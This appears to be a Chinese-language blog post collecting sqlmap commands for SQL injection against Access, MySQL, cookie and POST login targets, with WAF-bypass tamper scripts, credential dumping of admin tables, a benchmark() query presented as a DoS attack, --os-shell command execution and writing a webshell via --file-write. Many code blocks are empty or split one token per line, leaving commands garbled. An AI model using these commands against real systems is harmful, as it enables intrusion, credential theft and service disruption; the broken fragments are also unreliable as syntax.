sqlmap也是滲透中經常使用的一個注入工具,其實在注入工具方面,一個sqlmap就足夠用了,只要你用的熟,秒殺各類工具,只是一個便捷性問題,sql注入另外一方面就是手工黨了,這個就另當別論了。今天把我一直以來整理的sqlmap筆記發佈上來供你們參考。
表內查找字段 從數據庫中搜索字段
sqlmap -r 「c:\tools\request.txt」 –dbms mysql -D dedecms - -search -C admin,password --dumpphp
一共有11種常見SQLmap使用方法:
1、SQLMAP用於Access數據庫注入
(1) 猜解是否能注入html
1
2
|
|
(2) 猜解表
python
1
2
|
|
(3) 根據猜解的表進行猜解表的字段(假如經過2獲得了admin這個表)
mysql
1
2
|
|
(4) 根據字段猜解內容(假如經過3獲得字段爲username和password)
web
1
2
3
|
win
:
python sqlmap.py
-
u
"http://www.xxx.com/en/CompHonorBig.asp?id=7"
--dump -T admin -C "username,password"
"username,[url=]B[/url]password"
|
2、SQLMAP用於Cookie注入
(1) cookie注入,猜解表
正則表達式
1
|
|
(2) 猜解字段,(經過1的表猜解字段,假如表爲admin)
sql
1
2
|
admin
--level 2
|
(3) 猜解內容
shell
1
2
|
admin
-
C
"username,password"
--level 2
|
3、SQLMAP用於mysql中DDOS攻擊(1) 獲取一個Shell
數據庫
1
2
3
4
|
win
:
python sqlmap.py
-
u [
url
]http
:
/
/
192.1
68.1
59.1
/
news.php?
id
=
1
[
/
url
]
--sql-shell
Linux
:
sqlmap
-
u [
url
]http
:
/
/
192.1
68.1
59.1
/
news.php?
id
=
1
[
/
url
]
--sql-shell
|
(2) 輸入執行語句完成DDOS攻擊
後端
1
|
select
benchmark
(
99999999999
,
0
x
70726
f
62616
e
646
f
70726
f
62616
e
646
f
70726
f
62616
e
646
f
)
|
4、SQLMAP用於mysql注入
(1) 查找數據庫
1
|
|
(2) 經過第一步的數據庫查找表(假如數據庫名爲dataname)
1
|
|
(3) 經過2中的表得出列名(假如表爲table_name)
1
|
|
(4) 獲取字段的值(假如掃描出id,user,password字段)
1
2
|
"id,user,password"
--dump
|
5、SQLMAP中post登錄框注入
(1) 其中的search-test.txt是經過抓包工具burp suite抓到的包並把數據保存爲這個txt文件
咱們在使用Sqlmap進行post型注入時,常常會出現請求遺漏致使注入失敗的狀況。這裏分享一個小技巧,即結合burpsuite來使用sqlmap,用這種方法進行post注入測試會更準確,操做起來也很是容易。
1. 瀏覽器打開目標地址http:// www.xxx.com /Login.asp
2. 配置burp代理(127.0.0.1:8080)以攔截請求
3. 點擊login表單的submit按鈕
4. 這時候Burp會攔截到了咱們的登陸POST請求
5. 把這個post請求複製爲txt, 我這命名爲search-test.txt 而後把它放至sqlmap目錄下
6. 運行sqlmap並使用以下命令:
1
|
.
/
sqlmap.py
-
r search
-
test.txt
-
p tfUPass
|
這裏參數-r 是讓sqlmap加載咱們的post請求rsearch-test.txt,而-p 你們應該比較熟悉,指定注入用的參數。
注入點:http://testasp.vulnweb.com/Login.asp
幾種注入方式:./sqlmap.py -r search-test.txt -p tfUPass
(2) 自動的搜索
1
|
sqlmap
-
u [
url
]http
:
/
/
testasp.vulnweb.com
/
Login.asp[
/
url
]
--forms
|
(3) 指定參數搜索
1
|
sqlmap
-
u [
url
]http
:
/
/
testasp.vulnweb.com
/
Login.asp[
/
url
]
--data "tfUName=321&tfUPass=321"
|
6、SQLMAP中Google搜索注入
inurl後面的語言是由本身定的
注入過程當中若是選y是注入,若是不是選n
1
|
sqlmap
-
g inurl
:
php?
id
=
|
7、SQLMAP中的請求延遲
參數 --delay --safe-freq
1
2
|
python sqlmap.py
--dbs -u "http://xxx.cn/index.php/Index/view/id/40.html" --delay 1
python sqlmap.py
--dbs -u "http://xxx.cn/index.php/Index/view/id/40.html" --safe-freq 3
|
參數
8、SQLMAP繞過WAF防火牆
注入點:http://192.168.159.1/news.php?id=1
1
|
sqlmap
-
u [
url
]http
:
/
/
192.1
68.1
59.1
/
news.php?
id
=
1
[
/
url
]
-
v
3
--dbs --batch --tamper "space2morehash.py"
|
space2morehash.py中能夠替換space2hash.py或者base64encode.py或者charencode.py
都是編碼方式
space2hash.py base64encode.py charencode.py
9、SQLMAP查看權限
1
|
sqlmap
-
u [
url
]http
:
/
/
192.1
68.1
59.1
/
news.php?
id
=
1
[
/
url
]
--privileges
|
10、SQLMAP僞靜態注入(1) 查找數據庫
1
|
|
(2) 經過1中的數據庫查找對應的表 (假如經過1,獲得的是dataname)
1
|
|
(3) 經過2中的數據表獲得字段(假如獲得的是tablename表)
1
2
|
tablename
--columns
|
(4) 經過3獲得字段值(假如從3中獲得字段id,password)
1
2
|
tablename
-
C
"password"
--dump
|
11、SQLMAP注入點執行命令與交互寫shell
(1) 注入點:http://192.168.159.1/news.php?id=1
此處採用的是Linux系統
1
|
sqlmap
-
u [
url
]http
:
/
/
192.1
68.1
59.1
/
news.php?
id
=
1
[
/
url
]
--os-cmd=ipconfig
|
出現語言的選擇根據實際的測試網站選擇語言
指定目標站點D:/www/
(2) 獲取Shell
1
|
sqlmap
-
u [
url
]http
:
/
/
192.1
68.1
59.1
/
news.php?
id
=
1
[
/
url
]
--os-shell
|
出現語言的選擇根據實際的測試網站選擇語言
指定目標站點D:/www/
輸入ipconfig/all
建立用戶和刪除用戶
只要權限足夠大,你能夠輸入使用任何命令。
其餘命令參考下面:
從數據庫中搜索字段
1
|
sqlmap
-
r 「c
:
\tools\request.txt」 –dbms mysql
-
D dedecms –search
-
C admin
,
password
|
在dedecms數據庫中搜索字段admin或者password。
讀取與寫入文件
首先找須要網站的物理路徑,其次須要有可寫或可讀權限。
–file-read=RFILE 從後端的數據庫管理系統文件系統讀取文件 (物理路徑)
–file-write=WFILE 編輯後端的數據庫管理系統文件系統上的本地文件 (mssql xp_shell)
–file-dest=DFILE 後端的數據庫管理系統寫入文件的絕對路徑
#示例:
1
|
sqlmap
-
r 「c
:
\request.txt」
-
p
id
–dbms mysql –
file
-
dest 「e
:
\php\htdocs\dvwa\inc\include\
1.
php」 –
file
-
write
「f
:
\webshell\
1112.
php」
|
使用shell命令:
1
|
sqlmap
-
r 「c
:
\tools\request.txt」
-
p
id
–dms mysql –os
-
shell
|
接下來指定網站可寫目錄:
「E:\php\htdocs\dvwa」
#注:mysql不支持列目錄,僅支持讀取單個文件。sqlserver能夠列目錄,不能讀寫文件,但須要一個(xp_dirtree函數)
sqlmap詳細命令:
-is-dba 當前用戶權限(是否爲root權限)
-dbs 全部數據庫
-current-db 網站當前數據庫
-users 全部數據庫用戶
-current-user 當前數據庫用戶
-random-agent 構造隨機user-agent
-passwords 數據庫密碼
-proxy http://local:8080 –threads 10 (能夠自定義線程加速) 代理
-time-sec=TIMESEC DBMS響應的延遲時間(默認爲5秒)
Options(選項):
Target(目標):
如下至少須要設置其中一個選項,設置目標URL。
Request(請求):
這些選項能夠用來指定如何鏈接到目標URL。
Enumeration(枚舉):
這些選項能夠用來列舉後端數據庫管理系統的信息、表中的結構和數據。此外,您還能夠運行您本身的SQL語句。
Optimization(優化):
這些選項可用於優化SqlMap的性能。
Injection(注入):
這些選項能夠用來指定測試哪些參數, 提供自定義的注入payloads和可選篡改腳本。
Detection(檢測):
這些選項能夠用來指定在SQL盲注時如何解析和比較HTTP響應頁面的內容。
Techniques(技巧):
這些選項可用於調整具體的SQL注入測試。
Fingerprint(指紋):
-f, –fingerprint 執行檢查普遍的DBMS版本指紋
Brute force(蠻力):
這些選項能夠被用來運行蠻力檢查。
–common-tables 檢查存在共同表
–common-columns 檢查存在共同列
User-defined function injection(用戶自定義函數注入):
這些選項能夠用來建立用戶自定義函數。
–udf-inject 注入用戶自定義函數
–shared-lib=SHLIB 共享庫的本地路徑
File system access(訪問文件系統):
這些選項能夠被用來訪問後端數據庫管理系統的底層文件系統。
Operating system access(操做系統訪問):
這些選項能夠用於訪問後端數據庫管理系統的底層操做系統。
Windows註冊表訪問:
這些選項能夠被用來訪問後端數據庫管理系統Windows註冊表。
Miscellaneous(雜項):